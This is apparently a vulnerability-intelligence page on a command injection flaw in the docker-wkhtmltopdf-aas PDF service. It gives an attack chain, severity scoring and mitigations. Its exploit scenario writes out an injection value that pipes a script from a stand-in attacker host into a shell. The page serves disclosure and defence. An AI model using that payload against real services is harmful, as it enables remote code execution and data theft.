Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessDiscover exposed wkhtmltopdf-aas endpoint
-
DeliveryCraft POST with shell metacharacters in PDF input field
-
ExploitServer concatenates input into shell command
-
Executionwkhtmltopdf invocation executes injected commands
-
PersistAttacker gains code execution in container
-
ImpactPivot to internal network or exfiltrate rendered data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The service's HTTP PDF-conversion endpoint must be reachable by the attacker (the container's exposed port, by default reachable to anything on the Docker bridge/host network or wherever the operator publishes it) and must be running code at or before commit 9f505797671c3339520dec5fc01dff3a6f324f2e of openlabs/docker-wkhtmltopdf-aas. No authentication, no user interaction, and no non-default configuration are required per CVSS AV:N/AC:L/PR:N/UI:N - the vulnerable code path in app.py around line 40 is the normal request handler, not a debug or optional feature. The practical limiting factor is exposure: this is an internal microservice image, so risk concentrates on deployments that have published the container port to the internet or to untrusted internal network segments. |
| Impact | All quantitative signals point to high risk: CVSS 9.8 with AV:N/AC:L/PR:N/UI:N indicates trivially reachable, unauthenticated, no-interaction RCE with high CIA impact, and CWE-78 in a thin HTTP wrapper around a CLI tool is the textbook 'automatable' SSVC scenario. However, EPSS, KEV, and SSVC values were not provided in the input, so empirical exploitation probability cannot be quoted; the project is also a relatively niche Docker image rather than a mass-deployed enterprise product, which likely limits opportunistic scanning despite the easy exploitability. The CPE string 'cpe:2.3:a:n/a:n/a' and EUVD affected version of 'n/a n/a' are placeholders rather than real product identifiers - anyone running this image must self-identify exposure by matching commit hashes, since automated CPE-based asset inventories will not match. |
| Exploit ScenarioDerived | An attacker on the network reaches the PDF conversion endpoint (commonly exposed on port 80/8080 inside Docker) and sends a POST request whose body parameter contains shell metacharacters appended to the URL or HTML field - for example a value like 'http://x; curl attacker.tld/s | sh' that breaks out of the wkhtmltopdf argument and runs the trailing command. Code executes inside the container as whatever user the Flask app runs as (typically root in the published image), giving the attacker a shell from which to pivot to the Docker network, exfiltrate internal documents being rendered, or stage further attacks. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 03, 2026
Remote command execution in openlabs docker-wkhtmltopdf-aas (up to commit 9f50579) allows unauthenticated attackers to run arbitrary OS commands by sending a crafted POST request to the app.py PDF conversion endpoint. The CVSS 9.8 rating reflects network-reachable, no-privilege, no-interaction exploitation, and while no public exploit identified at time of analysis, the referenced source line (app.py#L40) makes the injection sink trivially discoverable for any attacker reviewing the repository.
RemediationAI
No vendor-released patch identified at time of analysis - the referenced GitHub issue (#36) is the only upstream remediation signal and no fixed commit or tagged release is cited in the input. Operators should treat the public image as unsafe and either fork the repository to replace the shell-style invocation in app.py around line 40 with a list-argument subprocess.run(..., shell=False) call that passes user input as separate argv elements, or migrate to a maintained alternative such as the python wkhtmltopdf bindings or Gotenberg. Until code is fixed, restrict the container's HTTP port to a trusted internal network only (block external ingress at the reverse proxy or Docker host firewall - side effect: any legitimate external consumer breaks), put it behind an authenticating reverse proxy that strips or rejects shell metacharacters (?,;,|,`,$,&,newlines) in POST bodies (side effect: may break legitimate HTML containing those characters and is not a reliable bypass-proof control), and run the container as a non-root, read-only filesystem user with a dropped capability set and no outbound network egress to limit post-exploitation impact.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
docker-wkhtmltopdf-aas is a small Flask-based 'as-a-Service' wrapper that exposes the wkhtmltopdf binary (an HTML-to-PDF renderer built on Qt WebKit) over HTTP inside a Docker container, typically used as an internal microservice for generating PDFs from HTML or URLs. The vulnerability falls under CWE-78 (Improper Neutralization of Special Elements used in an OS Command), meaning user-controlled POST data is concatenated into a shell command invocation of wkhtmltopdf without sanitization or use of an argv-style subprocess call. The referenced line app.py#L40 indicates a single specific sink in the request handler where shell metacharacters (semicolons, backticks, $() substitution, pipes) in user input break out of the intended argument and execute as additional commands under the container's process user.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (mitre) · only source for this CVE.
CVSS VectorVendor: mitre
Lifecycle Timeline
3DescriptionCVE.org
An OS command injection vulnerability in the app.py component of openlabs docker-wkhtmltopdf-aas up to commit 9f50579 allows attackers to execute arbitrary commands via a crafted POST request.
Executive ViewAI
openlabs docker-wkhtmltopdf-aas versions through commit 9f50579 contain a critical unauthenticated remote code execution vulnerability in the PDF conversion endpoint that allows attackers to execute arbitrary system commands without authentication. Any organization running this container is at immediate risk of complete infrastructure compromise, with the vulnerability being trivially discoverable to attackers reviewing the publicly available source code. Immediate isolation and migration to an alternative PDF processing solution is required.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Immediately restrict network access to PDF conversion endpoints to trusted internal subnets only via firewall rules; (2) Deploy Web Application Firewall (WAF) rules to block suspicious POST request patterns to the vulnerable endpoint; (3) Require authentication/API key validation at the API gateway layer before requests reach the container; (4) Disable the service immediately if operationally acceptable; (5) Establish SIEM alerting for suspicious POST activity to the vulnerable endpoint. These controls reduce exploitation risk but do not eliminate the vulnerability-vendor solution replacement is mandatory.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
EUVD-2026-34099
GHSA-v5gc-8cqm-ww2h
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB